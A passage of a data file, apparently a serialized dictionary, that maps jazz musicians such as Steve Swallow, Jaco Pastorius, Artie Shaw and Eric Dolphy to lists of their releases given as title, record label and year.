(3)--1955','\\\nKwanza (The First)--Muse Records--1974','\\\nThe Incredible Jazz Guitar Of Wes Montgomery--Riverside Records--1960','\\\nEuropean Windows--RCA Victor--1958','\\\nGrand Encounter--Artist--0','\\\nPassing Thru...--Columbia--1978','\\\nIn Motion--Columbia--1979','\\\nBrotherly Love--Antilles--1982','\\\nGod Rest Ye Merry, Jazzmen--Columbia--1981','\\\nBrotherly Love--Antilles--1982','\\\nHow High The Moon--Vogue Productions--1948','\\\nMy Old Flame / The Lady In Red--Prestige--1950','\\\nStan Getz Volume One--New Jazz--1950','\\\nThe New Sounds--Prestige--1951','\\\nLady Be Good / Klook Returns--Dee Gee--1951','\\\nTin Tin Daeo / Birks Works--Dee Gee--1951','\\\nThe Champ--Dee Gee--1951','\\\nMorpheus / Blue Room--Prestige--1951','\\\nWhispering / Down--Prestige--1951','\\\nSchool Days / I\\'ll Get You Yet--Dee Gee--1951'),'\\\nSteve Swallow':('\\\nWe Could Be Flying--Polydor--1975','\\\nThree Waves--Contact (6)--1966','\\\nHotel Hello--ECM Records--1975','\\\nTones For Joan\\'s Bones--Vortex Records (2)--1968','\\\nHome · Music By Steve Swallow To Poems By Robert Creeley--ECM Records--1980','\\\nGary Burton--Supraphon--1981','\\\nSyndrome--Savoy Jazz--1986','\\\nCarla--XtraWATT--1987','\\\nOut Of Nowhere--Candid--1988','\\\nDuets--WATT Works--1988','\\\nFloater Syndrome--Vogue--1989','\\\nSwallow--XtraWATT--1992','\\\nGo Together--WATT Works--1993','\\\nReal Book--XtraWATT--1994','\\\nSongs With Legs--WATT Works--1996','\\\nTwo By Two--Owl Records (4)--1996','\\\nDeconstructed--XtraWATT--1997','\\\nChildhood Is Forever--BYG Records--1971','\\\nAre We There Yet?--WATT Works--1999','\\\nThree Guys--ENJA Records--1999','\\\nGrey--Quinton Records--2002','\\\nDamaged In Transit--XtraWATT--2003','\\\nThe Lost Chords--WATT Works--2004','\\\nCarla\\'s Christmas Carols--WATT Works--2009','\\\nQuartet Live--Concord Jazz--2009'),'\\\nBuster Williams':('\\\nPinnacle--Muse Records--1975','\\\nCrystal Reflections--Muse Records--1976','\\\nHeartbeat--Muse Records--1979','\\\nDreams Come True--Buddah Records--1980','\\\nChet Baker / Wolfgang Lackerschmid--Sandra Music Productions--1980','\\\nMusic For Violin & Jazz Quartet--Jam (15)--1981','\\\nLe Choix Des Armes (Bande Original Du Film)--General Music--1981','\\\nPeace--Enja Records--1982','\\\nFour In One--Elektra Musician--1982','\\\nGreen Chimneys--Criss Cross Jazz--1984','\\\nWings--Enja Records--1984','\\\nWindSong--Ekapa--1985','\\\nWe Three--DIW--1987','\\\nTwo As One - Live At Umbria Jazz--Red Record--1987','\\\nToku Do--Muse Records--1988','\\\nIn This Direction--Criss Cross Jazz--1989','\\\nSomething More--In+Out Records--1989','\\\nAcoustic Masters 1--Atlantic--1994','\\\nLong Time Coming--EFA--1997','\\\nLive On Tour--Red Record--1985','\\\nGrandpaws--Choice (7)--1976','\\\nA Place In Time--HighNote Records, Inc.--2016','\\\nDig Him!--Argo (6)--1962','\\\nBoss Tenors: Straight Ahead From Chicago August 1961--Verve Records--1962','\\\nSassy Swings The Tivoli--Mercury--1963','\\\nVirgo Vibes--Atlantic--1967','\\\nUh Huh--Pacific Jazz--1967','\\\nSomething Personal--Blue Note--1967','\\\nThe Peace-Maker--Cadet--1968','\\\nFirebirds--Contemporary Records--1968','\\\nLighthouse \\'68--Pacific Jazz--1968','\\\nDaddy Bug--Atlantic--1969'),'\\\nCecil McBee':('\\\nLive At Slugs\\' Volume II--Strata-East--1973','\\\nMutima--Strata-East--1974','\\\nLuv--Whynot--1976','\\\nAlmanac--Improvising Artists Inc.--1977','\\\nAlternate Spaces--India Navigation--1979','\\\nLive At The Jazz Showcase In Chicago Volume One--Enja Records--1981','\\\nWhat It Is--Enja Records--1981','\\\nTime Speaks--Baystate--1983','\\\nThe Pied Piper--BlackHawk Records--1986','\\\nA Tribute To John Coltrane / Blues For Coltrane--Impulse!--1988','\\\nLive At The Jazz Showcase In Chicago Volume Two--Enja Records--1989','\\\nLive At Sweet Basil--Enja Records--1989','\\\nPower Trio --Novus--1991','\\\nSunrise Sunset--Red Baron--1991','\\\nNight And Day--DIW--1991','\\\nTime To Smile--Dreyfus Jazz--1994','\\\nEtcetera--Blue Note--1980','\\\nThe Elements : Water--Arkadia Jazz--1997','\\\nMusic From The Source--Enja Records--1978','\\\nCompassion--Enja Records--1979','\\\nCathexis--Columbia--1964','\\\nJazz Meets The Folk Song--Columbia--1964','\\\nSome Other Stuff--Blue Note--1964','\\\n...Now Is The Time For All Good Jazz...--Columbia Special Products--1965','\\\nThe New Wave In Jazz--Impulse!--1966','\\\nIt\\'s Time!--Blue Note--1965','\\\nIn Jazz For The Culture Set--Impulse!--1965','\\\nDream Weaver--Atlantic--1966','\\\nAction--Blue Note--1967','\\\nCompulsion--Blue Note--1967','\\\nForest Flower--Atlantic--1967','\\\nThe Dragon Suite--Savoy Records--1968','\\\nCharles Lloyd In Europe--Atlantic--1968','\\\nThe Blue Yusef Lateef--Atlantic--1968','\\\nThe Complete Yusef Lateef--Atlantic--1968','\\\nYusef Lateef\\'s Detroit Latitude 42° 30\\' Longitude 83°--Atlantic--1969','\\\nSpirits Known And Unknown--Flying Dutchman--1969','\\\nJewels Of Thought--Impulse!--1970','\\\nThe Best Of Charles Lloyd--Atlantic--1970'),'\\\nJimmy Blanton':('\\\nBlues / Plucked Again--Columbia--1939','\\\nBody And Soul / Mr. J. B. Blues--Victor--1940','\\\nSophisticated Lady / Pitter Panther Patter--no label--0','\\\nRex Stewart And His Orchestra --X--1954','\\\nDuo--RCA Victor--1955','\\\nSolitude / Mood Indigo--Columbia--1940','\\\nJack The Bear / Morning Glory--Victor--1940','\\\nIn A Mellotone / Rumpus In Richmond--Victor--1940','\\\nChlo-e (Song Of The Swamp) / Across The Track Blues--Victor--1940','\\\nA Portrait Of Bert Williams / Bojangles--Victor--1940','\\\nConcerto For Cootie / Me And You--Victor--1940','\\\nBlue Serge / Jumpin\\' Punkins--Victor--1941','\\\nLament For Javanette / Ready Eddy--Bluebird (3)--1941','\\\nNever No Lament / Cotton Tail--Victor--1940','\\\nA Duke Ellington Panorama--Victor--1943','\\\nRocks In My Bed / Bli-Blip--Victor--1943','\\\nPassion Flower / Going Out The Back Way--Bluebird (3)--1944','\\\nThat\\'s The Blues Old Man / Good Queen Bess--Bluebird (3)--1941','\\\nMardi-Gras Madness / Watch The Birdie--Vocalion (5)--0','\\\nJohnny Hodges And His Alto Sax--RCA Victor--1952','\\\nThis Is Duke Ellington--RCA Victor--1952','\\\nThe Duke And His Men--RCA Victor--1955','\\\nIn A Mellotone--RCA Victor--1956','\\\nThis Is Duke Ellington--RCA--1957','\\\nDuke Ellington--RCA Victor--1957','\\\nAt His Very Best--RCA Victor--1959','\\\nThe Indispensable Duke Ellington--RCA Victor--1961','\\\nI Grandi Del Jazz--Nuova Accademia Disco--1962','\\\nThings Ain\\'t What They Used To Be--RCA Victor--1967','\\\nIn The Groove With The Kings Of Swing--no label--1967','\\\nHodge Podge--Epic--1968','\\\nThis Is Duke Ellington--RCA Victor--1971','\\\nThis Is The Big Band Era--RCA Victor--1971','\\\nThe Smithsonian Collection Of Classic Jazz--Smithsonian Collection--1973','\\\nDuke Ellington Presents Ivie Anderson--Columbia--1973','\\\nEllington On The Air--Ember Records--1973','\\\nMemorial--CBS--1974','\\\nDuke Ellington & His Famous Orchestra--Alamac--1974','\\\n1939-40--Alamac--1974'),'\\\nRed Mitchell':('\\\nHappy Minors--Bethlehem Records--1955','\\\nRed Mitchell--Bethlehem Records--1956','\\\nTenors Head-On--Liberty--1957','\\\nJazz Mainstream--Bethlehem Records--1957','\\\nPresenting Red Mitchell--Contemporary Records--1957','\\\nBells Are Ringing--Contemporary Records--1959','\\\nFour!--Contemporary Records--1959','\\\nGood Friday Blues: The Modest Jazz Trio--Pacific Jazz--1960','\\\nRejoice!--Pacific Jazz--1961','\\\nWalt Disney Presents Best Loved Fairy Tales: The Stories Children Love To Hear Over And Over Again--Disneyland--1962','\\\nThe Light Fantastic, A Tribute To Fred Astaire--Columbia--1962','\\\nBob Brookmeyer Featuring John Williams & Red Mitchell--Crown Records (2)--1963','\\\nBästisar!--Artist--1973','\\\nI Concentrate On You - A Tribute To Cole Porter--SteepleChase--1974','\\\nTwo Way Conversation--Sonet--1974','\\\nRed Mitchell Meets Guido Manusardi--Produttori Associati--1976','\\\nBut Three\\'s A Crowd--Bluebell Of Sweden--1977','\\\nBlues For A Crushed Soul--Sonet--1978','\\\nJim Hall / Red Mitchell--Artists House--1978','\\\nScairport Blues--Yupiteru Records--1978','\\\nWhat I Am--Caprice Records--1979','\\\nRed\\'n Me--All Life--1979','\\\nFunk Dumplin\\'s--Matrix Records (3)--1979','\\\nEmpathy--Gryphon--1980','\\\nYou\\'re Me--Phontastic--1980','\\\nSuper-Session--Enja Records--1980','\\\nA Different Kind Of Blues--EMI--1980','\\\nWhere One Relaxes--Omni Sound Jazz--1981','\\\nI Remember You--Spotlite Records--1981','\\\nBrhams Lullabye--Bingow Records--1981','\\\nIt\\'s A Breeze--Angel Records--1981','\\\nThree For All--Enja Records--1981','\\\nThe John Lewis Album--Finesse Records (3)--1983','\\\nTwo Of A Mind--ITI Records--1983'),'\\\nSam Jones':('\\\nSomethin\\' Else--Blue Note--1958','\\\nSoul Time--Riverside Records--1960','\\\nThe Soul Society--Riverside Records--1960','\\\nJazz At The Philharmonic In Europe--Verve Records--1963','\\\nLouis Hayes--Vee Jay Records--1960','\\\nSeven Minds--East Wind--1976','\\\nEastern Rebellion--Timeless Records (3)--1976','\\\nDouble Bass--SteepleChase--1976','\\\nCello Again--Xanadu Records--1976','\\\nSilver Blue--Xanadu Records--1977','\\\nTrue Blue--Xanadu Records--1977','\\\nEastern Rebellion 2--Timeless Records (3)--1977','\\\nBreakthrough--Cobblestone--1972','\\\nNew Departure--Trio Records--1978','\\\nChanges & Things--Xanadu Records--1978','\\\nThe Bassist!--Interplay Records--1980','\\\nI Thought About You--Lee Lambert--1979','\\\nEastern Rebellion 3--Timeless Records (3)--1980','\\\nGoodbye Yesterday!--Groove Merchant--1973','\\\nHow Deep/How High--Interplay Records--1980','\\\nI Offer You--Groove Merchant--1973','\\\nRight Down Front - The Riverside Collection--Original Jazz Classics--1988','\\\nOff To The Races--Blue Note--1959','\\\nThe Comeback--Jazz Row--2008','\\\nStack Of Dollars / Cat Fruit--King Records (3)--1954','\\\nKenny Burrell--Blue Note--1956','\\\nVol. 1--ABC-Paramount--1956','\\\n\\'Round About Midnight At The Cafe Bohemia--Blue Note--1956','\\\nTo The Ivy League From Nat--Emarcy--1956','\\\nSophisticated Swing--EmArcy--1957','\\\nIn Orbit--Riverside Records--1958','\\\nThis Is The Moment - Sings And Plays--Riverside Records--1958','\\\nCannonball\\'s Sharpshooters--Mercury--1958','\\\nIt Could Happen To You - Chet Baker Sings--Riverside Records--1958','\\\nPortrait Of Cannonball--Riverside Records--1958','\\\nJazz Horizons: Down Beat Jazz Concert--Dot Records--1958','\\\nSomethin\\' Else--Blue Note--1958','\\\nIt\\'s Magic--Riverside Records--1958'),'\\\nIsrael Crosby':('\\\nJangled Nerves / I\\'ll Always Be In Love With You--no label--1936','\\\nEarly Mornin\\' Blues / Mile-Or-No Bird Rag--Decca--1936','\\\nI Hope Gabriel Likes My Music / Swing Is Here--no label--1936','\\\nWarmin\\' Up / Blues In C Sharp Minor--Brunswick--1936','\\\nHonky Tonk Train Blues / Barrelhouse--Parlophone--0','\\\nBoogie Woogie Stomp / Nagasaki--Decca--1936','\\\nGems Of Jazz Vol.2--Decca--0','\\\nA Decca Presentation Of Boogie Woogie Music--Decca--1940','\\\nRoyal Garden Blues / Night Shift Blues--Blue Note--1941','\\\nCelestial Express / Profoundly Blue--Blue Note--1941','\\\nEdmond Hall Blues / Jamming In Four\t--Blue Note--1941','\\\nHigh Society / Blues At Blue Note--Blue Note--1943','\\\nNight And Day / Flamethrower --Keynote Recordings (2)--1944','\\\nImagination / Cattin\\' At Keynote --Keynote Recordings (2)--1944','\\\nPick-Up-Boys / Porgy--Apollo Records (2)--0','\\\nJammin\\' The Boogie / Bottom Blues--Commodore--1944','\\\nThe Sheik Of Araby / Conversing In Blue--Blue Note--1945','\\\nHow Long-How Long Blues / Blues Before Sunrise--Blue Note--1945','\\\nSwanee River Boogie / I Don\\'t Want To See You--Mercury--1946','\\\nJazz Me Blues / The Last Round Up--Parlophone--0','\\\nGems Of Jazz,Volume 1--Decca--1949','\\\nGems Of Jazz, Volume 2--Decca--1949','\\\nJamming In Jazz--Blue Note--1951','\\\nOut Of The Back Room--Blue Note--1952','\\\nCoronation Hop / Paradise--Mercury--1952','\\\nMemorable Sessions in Jazz--Blue Note--1953','\\\nGems of Jazz Vol. 5--Decca--1942','\\\n#2--Clef Records--1954','\\\nHot Trumpet Ensembles--Mercury--1950','\\\nDrum Boogie--Verve Records--1957','\\\nThe Ahmad Jamal Trio--Epic--1956','\\\nCount \\'Em 88--Argo (6)--1956'),'\\\nJaco Pastorius':('\\\nJaco Pastorius--Epic--1976','\\\nPastorius / Metheny / Ditmas / Bley--Improvising Artists Inc.--1976','\\\nLive At The Berlin Jazz Days--MPS Records--1977','\\\nWord Of Mouth--Warner Bros. Records--1981','\\\nLive In Montreal--Vap Video--1997','\\\nInvitation--Warner Bros. Records--1983','\\\nStuttgart Aria--Jazzpoint Records--1986','\\\nNatural--Pulque Records--1988','\\\nNight Food--Timeless Records (3)--1985','\\\nJazz Street--Timeless Records (3)--1989','\\\nPDB--DIW--1989','\\\nLast Flight--DIW--1989','\\\nStandards Zone--Global Pacific Records--1991','\\\nHonestly Solo Live--Jazzpoint Records--1991','\\\nLive In Italy--Flavour of Sound--1997','\\\nBlackbird--Alfa Jazz--1991','\\\nHeavy\\'N Jazz--Jazzpoint Records--1992','\\\nHoliday For Pans--Sound Hills Records--1993','\\\nJaco Pastorius In New York --Jazz Door--1993','\\\nThe Birthday Concert--Warner Bros. Records--1995','\\\nLe Demi-Dieu De La Basse--Wea Music--1997','\\\nLive In Italy & Honestly--Jazzpoint Records--1997','\\\nGolden Roads--Sound Hills Records--1997','\\\nHoliday For Pans - Full Complete Sessions--Sound Hills Records--1999','\\\nThe Jaco Years--Columbia--1998','\\\nBroadway Blues & Teresa--Jazzpoint Records--1999','\\\nAnother Side Of Jaco Pastorius--Jazzpoint Records--2001','\\\nPunk Jazz: The Jaco Pastorius Anthology--Rhino Entertainment Company--2003'),'\\\nMilt Hinton':('\\\nI Got Rhythm--Music Minus One--1951','\\\nEast Coast Jazz/5--Bethlehem Records--1955','\\\nBasses Loaded!--RCA Victor--1955','\\\nThe Rhythm Section--Epic--1956','\\\nThe Golden Era Of Dixieland Jazz 1887 - 1937--Design Records (2)--1957','\\\nPercussion And Bass--Everest--1960','\\\nHere\\'s Love--Argo (6)--1963','\\\nThe Big Challenge--Jazztone (2)--1957','\\\nOn Sunnie\\'s Side Of The Street--The Blue Angel Jazz Club--1968','\\\nMilt Hinton And Friends: Here Swings The Judge--Famous Door--1974','\\\nThe Trio--Chiaroscuro Records--1977','\\\nOriginals--Stash Records--1980','\\\nThree Little Words--Black And Blue--0','\\\nNirvana--Groove Merchant--1974','\\\nJust The Two Of Us--Muse Records--1982','\\\nJune Night--Doctor Jazz--1983','\\\nBobby Jaspar Quintet--Columbia--1957','\\\nThe Sackville All Star Christmas Record--Sackville Recordings--1986','\\\nThe Basement Tapes--Chiaroscuro Records--1989','\\\nOld Man Time--Chiaroscuro Records--1990','\\\nLaughing At Life--Columbia--1995','\\\nThe Judge At His Best: The Legendary Chiaroscuro Sessions 1973-1995--Chiaroscuro Records--0'),'\\\nSlam Stewart':('\\\nAh, Now / Bassology--Okeh--1941','\\\nRed Norvo\\'s Fabulous Jam Session--Dial Records (3)--1951','\\\nModern American Musicians--Remington--1953','\\\nBowin\\' Singin\\' Slam--Savoy Records--1956','\\\nJazz, Joy And Happiness--United Artists Jazz--1962','\\\nSlam Stewart Featuring Milt Buckner And Jo Jones--Black And Blue--0','\\\nSlamboree--Black And Blue--1974','\\\nTown Hall Concert Vol. 3--London Records--1974','\\\nFish Scales--Black And Blue--1975','\\\nTwo Big Mice--Black And Blue--1977','\\\nDialogue--Stash Records Inc.--1978','\\\nSteff And Slam--Black And Blue--1975','\\\nShut Yo\\' Mouth!--P.M. Records, Inc.--1987','\\\nThe Cats Are Swingin\\'--Sertoma--1988','\\\nEuropean Tour--Concord Jazz--1988','\\\nGene Rodgers With Slam Stewart And Jo Jones--Black and Blue--1973','\\\nThe Ultimate Jazz Archive - Set 22/42--Membran Music Ltd.--2005'),'\\\nGeorge Duvivier':('\\\nNow Dig This! / Jazz In 2 Keys--Music Minus One--0','\\\nSonny Clark Trio--Time Records (3)--1960','\\\nGiants--Perception Records (5)--1971','\\\nMidnight Slows Vol. 8--Black And Blue--1978','\\\nSongs For New Lovers--Stash Records Inc.--1978','\\\nEasy To Love--Lob--1979','\\\nJazz On A Sunday Afternoon Vol. I--Accord (2)--1981','\\\nI Giganti Del Jazz Vol. 50--Curcio--0','\\\nJazz On A Sunday Afternoon Vol. II--Accord (2)--1981','\\\nJazz On A Sunday Afternoon Vol. III--Accord (2)--1982','\\\nIn Concert--Everest Records (5)--1984','\\\nSwing Reunion--Book-Of-The-Month Records--1985','\\\nLive In Japan--Trio Records--1979','\\\nLive In Concert--Design--1985','\\\nAfter Hours--Roulette--1962','\\\nJive At Five--Mahogany (3)--0','\\\nDusty Fletcher\\'s Mad Hour--National Records (2)--1947','\\\nSatchmo Serenades--Decca--1952','\\\nChuck Wayne Quintet--Savoy Records--0','\\\nThe Amazing Bud Powell--Roost--1953','\\\nThe Amazing Bud Powell, Volume 2--Blue Note--1954','\\\nB.G. In Hi-Fi Part 1--Capitol Records--1954','\\\nLouis Bellson--Norgran Records--1954','\\\nBud Powell Trio--Vogue Records--1955'),'\\\nNHOP':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nBenny Goodman':('\\\nBasin Street Blues / Beale Street Blues--Columbia--1931','\\\nA Swing Session With Benny Goodman--Victor--1938','\\\nUp Swing--Victor--1944','\\\nSonata No. 2 In E-Flat Major For Clarinet And Piano, Op. 120, No 2--Columbia Masterworks--1946','\\\nUnd Sein Berühmtes Carnegie Hall Jazz Concert--Philips--0','\\\nThe Famous 1938 Carnegie Hall Jazz Concert (Volume 1)--Columbia Masterworks--1950','\\\nThe Famous 1938 Carnegie Hall Jazz Concert - Volume II--Columbia Masterworks--1950','\\\nMostly Sextets--Capitol Records--1956','\\\nSession For Six--Capitol Records--1950','\\\nBenny Goodman Combos--Columbia--1951','\\\nConcerto For Clarinet And String Orchestra, Quartet for Piano And Strings--Columbia Masterworks--1951','\\\nEasy Does It!--Capitol Records--1952','\\\nThe Goodman Touch--Capitol Records--1953','\\\nHunka Dola / The Jumpin\\' Jive--RCA Victor--1953','\\\nThe Goodman Touch, Part 2--Capitol Records--0','\\\nSession For Six & Easy Does It!--Capitol Records--1953','\\\nFletcher Henderson Arrangements--Columbia--1953','\\\nClassics In Jazz--Capitol Records--1954','\\\nB.G. In Hi-Fi Part 1--Capitol Records--1954','\\\nB.G. In Hi-Fi Part 1--Capitol Records--1954','\\\nB.G. In Hi-Fi (Part 3)--Capitol Records--1954','\\\nBenny Goodman Dance Parade (Volume II)--Columbia--1950','\\\n2 For The Record--Capitol Records--1955','\\\nB.G. In Hi-Fi--Capitol Records--1955'),'\\\nArtie Shaw':('\\\nFour Star Favorites--Victor--1943','\\\nUp Swing--Victor--1944','\\\nArtie Shaw Plays Cole Porter--Musicraft--1946','\\\nI\\'m Forever Blowing Bubbles / You\\'re Mine, You!--Decca--1950','\\\nArtie Shaw Favorites--RCA Victor--1952','\\\nAn Hour With Artie Shaw--Royale--1952','\\\nIn The Blue Room / In The Café Rouge--RCA Victor--1953','\\\nIn The Blue Room / In The Café Rouge--RCA Victor--1953','\\\nMy Concerto--RCA Victor--1954','\\\nArtie Shaw With Strings--Epic--1956','\\\nArtie Shaw--RCA Victor--1957','\\\nThe Golden Age Of The Dance Bands--Somerset--1958','\\\nArtie Shaw--RCA Victor--1958','\\\nTribute To Artie Shaw--Crown Records (2)--1959','\\\nReissued By Request--RCA Victor--0','\\\nThe Great Artie Shaw--RCA Camden--1959','\\\nMontgomery Ward 90th Anniversary--P.R.I. Records--1962','\\\nDuke Ellington, Fletcher Henderson, Artie Shaw And Their Orchestras--Saga Soc--1965','\\\nMoonglow--RCA Victor--1956','\\\nRe-creates His Great \\'38 Band--Capitol Records--1968','\\\nSwing With Artie Shaw: His Clarinet, His Orchestra And The Gramercy Five: 48 Of His Original Recordings--no label--1969','\\\nArtie Shaw--Everest Records Archive Of Folk & Jazz Music--1972','\\\nThis Is Artie Shaw--RCA Victor--1971','\\\nThis Is Artie Shaw Vol. 2--RCA Victor--1972','\\\nThe Best Of--MCA Records--1973','\\\nThe Swinging Big Bands (1938/1945) - Artie Shaw - Vol. 1--Archive Of Jazz--1974','\\\nFrenesi – Artie Shaw\\'s Greatest Hits--RCA Camden--0','\\\nThe Complete Artie Shaw, Vol. I 1938-1939--Bluebird (3)--1976','\\\nThe Complete Artie Shaw, Vol. II/1939--Bluebird (3)--1977','\\\nBackbay Shuffle--RCA--1977','\\\n Clarinet Magic With The Big Band And Strings. Volume 1--Musicraft--1978','\\\nThe Essence of Jazz Classics--RCA--1978'),'\\\nTony Scott':('\\\nPick Up The Pieces--Rhythm Records--1988','\\\nGet Into It--Rhythm Records--1989','\\\nThat\\'s How I\\'m Living / The Chief--Rhythm Records--1989','\\\nThe Chief--Rhythm Records--1989','\\\nMove To The Bigband--Epic--1990','\\\nGangster Boogie--Rhythm Records--1990','\\\nLove Let Love--Rhythm Records--1990','\\\nMegamix / I Know You Want It--BCM Records--1990','\\\nGimme Some (Swing It Baby)--Rhythm Records--1991','\\\nExpressions From The Soul--Rhythm Records--1991','\\\nUnder Pressure--Motown--1991','\\\nFrom Da Soul--Rhythm Records--1991','\\\nThe Greenhouse Effect--Indisc--1992','\\\nI Need Your Lovin\\'--Ariola--1993','\\\nRiders On The Storm--Rhythm Records--1993','\\\nPlease Don\\'t Go--Next Plateau Entertainment--1997','\\\nSomething For The People / Bounce Back--68 Recordings--2007','\\\nDevotion--Sneakerz Muzik--2009','\\\nSummer Dance Festival - The Musical Highlights--BCM Records--1989','\\\nTanz House--BCM Records--1989','\\\nJazztime U.S.A. - The Best Of Bob Thiele\\'s Classic Jam Sessions Of The 1950\\'s--MCA Coral--1977','\\\nReplicas--Beggars Banquet--1979','\\\nReggae--Zion Yant--1982','\\\nWhen The 12th Of Never Comes--EMI--1983','\\\nEuropean Dream--WEA--1987','\\\nFunkytown III--BCM Records--1988','\\\nTurn Up The Bass 2--Arcade--1989','\\\nSummer Dance Festival - The Musical Highlights--BCM Records--1989','\\\nDeep Heat 3 - The Third Degree--Telstar--1989','\\\nThe Future Of House... A New Generation--BCM Records--1989','\\\nShow\\'m The Bass--BCM Records--1990','\\\nTurn Up The Bass 3--Arcade--1990','\\\nTurn Up The Bass 4--Arcade--1990','\\\n15 Top Spins Volume One--Next Plateau Records Inc.--1990','\\\nThe Intense Mixes / The Extreme Mixes--Telstar--1990','\\\nRap House Volume 2--Ariola--1990'),'\\\nBuddy DeFranco':('\\\nKing Of The Clarinet--MGM Records--1953','\\\nCool And Quiet--Capitol Records--1953','\\\nThe Song From Moulin Rouge / I\\'m Gettin\\' Sentimental Over You--MGM Records--1953','\\\nBroadjump / Serenade To A Pair Of Nylons--Vogue Records (2)--1947','\\\nThe Artistry Of Buddy DeFranco--Norgran Records--1954','\\\nThe Progressive Mr. DeFranco--Norgran Records--1954','\\\nPretty Moods--Norgran Records--1954','\\\nTakes You To The Stars--Gene Norman Presents--1954','\\\nPlay George Gershwin--Norgran Records--1955','\\\nBuddy DeFranco And Oscar Peterson Play George Gershwin--Karusell--1955','\\\nBuddy De Franco And Oscar Peterson Play George Gershwin--Karusell--1955','\\\nThe Buddy DeFranco Wailers--Norgran Records--1956','\\\nChet Baker - Gerry Mulligan - Buddy DeFranco--GNP--1957','\\\nBuddy DeFranco Plays Benny Goodman--Verve Records--1957','\\\nBuddy De Franco And The Oscar Peterson Quartet--Verve Records--1958','\\\nCross Country Suite--Dot Records--1958','\\\nThe Art Tatum - Buddy De Franco Quartet--Verve Records--1958','\\\nBuddy De Franco Plays Artie Shaw--Verve Records--1958','\\\nBravura--Verve Records--0','\\\nThe Girl From Ipanema--Mercury--1964','\\\nBlues Bag--Vee Jay Records--1965','\\\nIn The Mod--RCA Victor--1967','\\\nReturns To Glen Island Casino--RCA Victor--1968','\\\nMakes The Goin\\' Great--RCA Victor--1968','\\\nSomething New (The Tijuana Brass Hits)--Epic--1966','\\\nDo You Wanna Dance--Command--1969','\\\nRecorded Live, Royal Festival Hall, London, England--Paramount Records--1971','\\\nCrosscurrents--Capitol Records--1972','\\\nFree Sail--Choice (7)--1974','\\\nThe Tatum Group Masterpieces--Pablo Records--1975','\\\nThe Tatum Group Masterpieces--Pablo Records--1975','\\\nBorinquin--Sonet--1977'),'\\\nWoody Herman':('\\\nBaby, Come Home / Bloop Bleep--Columbia--1947','\\\nTallahassee / Natch--Columbia--1947','\\\nAcross The Alley From The Alamo / No Greater Love--Columbia--1947','\\\nSabre Dance / Across The Alley From The Alamo--Columbia--1948','\\\nMule Train / My Baby Just Cares For Me--Telefunken Capitol--0','\\\nThe Modern Idiom--Capitol Records--1952','\\\nEarly Autumn / Celestial Blues--Quality--1952','\\\nI Cried For You / Livin\\' On Love--MGM Records--0','\\\nWoody Herman--Capitol Records--0','\\\nMen From Mars / Moody--Mars Records (4)--1953','\\\nHow Hi The Fi--Columbia--1954','\\\nWoody Herman Specials--Capitol Records--1955','\\\nMusic For Tired Lovers--Columbia--1955','\\\nHave It Your Way / My Sin is You--Capitol Records--1955','\\\nRoad Band! Part 3--Capitol Records--1955','\\\nSongs For Hip Lovers--Verve Records--1957','\\\nHerman\\'s Heat & Puente\\'s Beat !--Everest--1958','\\\nThe Herd Rides Again--Everest--1958','\\\nThe Fourth Herd--Sesac Recordings--1959'),'\\\nPee Wee Russell':('\\\nI Found A New Baby / Everybody Loves My Baby--H. R. S.--1946','\\\nJazz At Storyville Vol. 1--Savoy Records--1955','\\\nWe\\'re In The Money--Storyville (3)--1956','\\\nAt Newport--Verve Records--1958','\\\nPortrait Of Pee Wee--Counterpoint--1958','\\\nDixieland At Carnegie Hall (25 Top Stars)--Forum (2)--0','\\\nSwingin\\' With Pee Wee--Prestige Swingville--1960','\\\nJazz Of The Forties: Volume One--Folkways Records--1960','\\\nNewport Jazz Festival All Stars--Atlantic--1960','\\\nJazz Reunion--Candid--1961','\\\nChicago And All That Jazz!--Verve Records--1961','\\\nPlays Pee Wee--Bell Records--1961','\\\nDixieland--Rondo-Lette--1958','\\\nA Legend--Mainstream Records--1965','\\\nThe Spirit Of \\'67--Impulse!--1967','\\\nThe College Concert Of Pee Wee Russell And Henry Red Allen--Impulse!--1967','\\\nJack Teagarden\\'s Big Eight / Pee Wee Russell\\'s Rhythmakers--Original Jazz Classics--1985','\\\nA Muggsy Spanier Memorial--Saga (5)--1973','\\\nThe Eddie Condon Concerts Town Hall 1944-1945--Audio Fidelity Records, Inc.--1976','\\\nThings Ain\\'t What They Used To Be - The First Annual Prestige Swing Festival, Spring 1961--Prestige Swingville--1961','\\\nMiles & Monk At Newport--Columbia--1963','\\\nSwingin\\' Clarinets--London Records--1974','\\\nThe Individualism Of Pee Wee Russell--Savoy Records--1978'),'\\\nJimmy Giuffre':('\\\nJimmy Giuffre (Part 1)--Capitol Records--1954','\\\nJimmy Giuffre--Capitol Records--1954','\\\nShorty Rogers And The Lighthouse All Stars--Tampa Records--0','\\\nShifting Winds No. 3--Capitol Records--1955','\\\nJazz Composers Workshop--Savoy Records--1955','\\\nThe Modern Jazz Quartet At Music Inn--Atlantic--1956','\\\nCollaboration West--Prestige--1956','\\\nThe Jimmy Giuffre Clarinet--Atlantic--1956','\\\nTenors West--GNP--1956','\\\nMusic For Brass--Columbia--1957','\\\nEvolution--Prestige--1957','\\\nHerb Ellis Meets Jimmy Giuffre--Verve Records--1959','\\\nThe Four Brothers Sound--Atlantic--1959','\\\nLee Konitz Meets Jimmy Giuffre--Verve Records--1959','\\\nCool Heat--Verve Records--1959','\\\nPiece For Clarinet And String Orchestra/Mobiles--Verve Records--1960','\\\nWestern Suite--Atlantic--1960','\\\nYou And Lee--Verve Records--1960','\\\nFree Fall--Columbia--1963','\\\nQuiet Song--Improvising Artists Inc.--1975','\\\nTangents In Jazz--Capitol Records--1956','\\\nIAI Festival--Improvising Artists Inc.--1978','\\\nEiffel (Live In Paris)--CELP--1988','\\\nWest Coast Jazz--EPM Zeta--1990','\\\nThe Complete 1947-1953 Small Group Sessions Vol. 1 (1947-1953)--Blue Moon (4)--1995','\\\nLee Konitz Meets Jimmy Giuffre--Verve Records--1996'),'\\\nEric Dolphy':('\\\nLooking Ahead--Prestige--1961','\\\nOut There--New 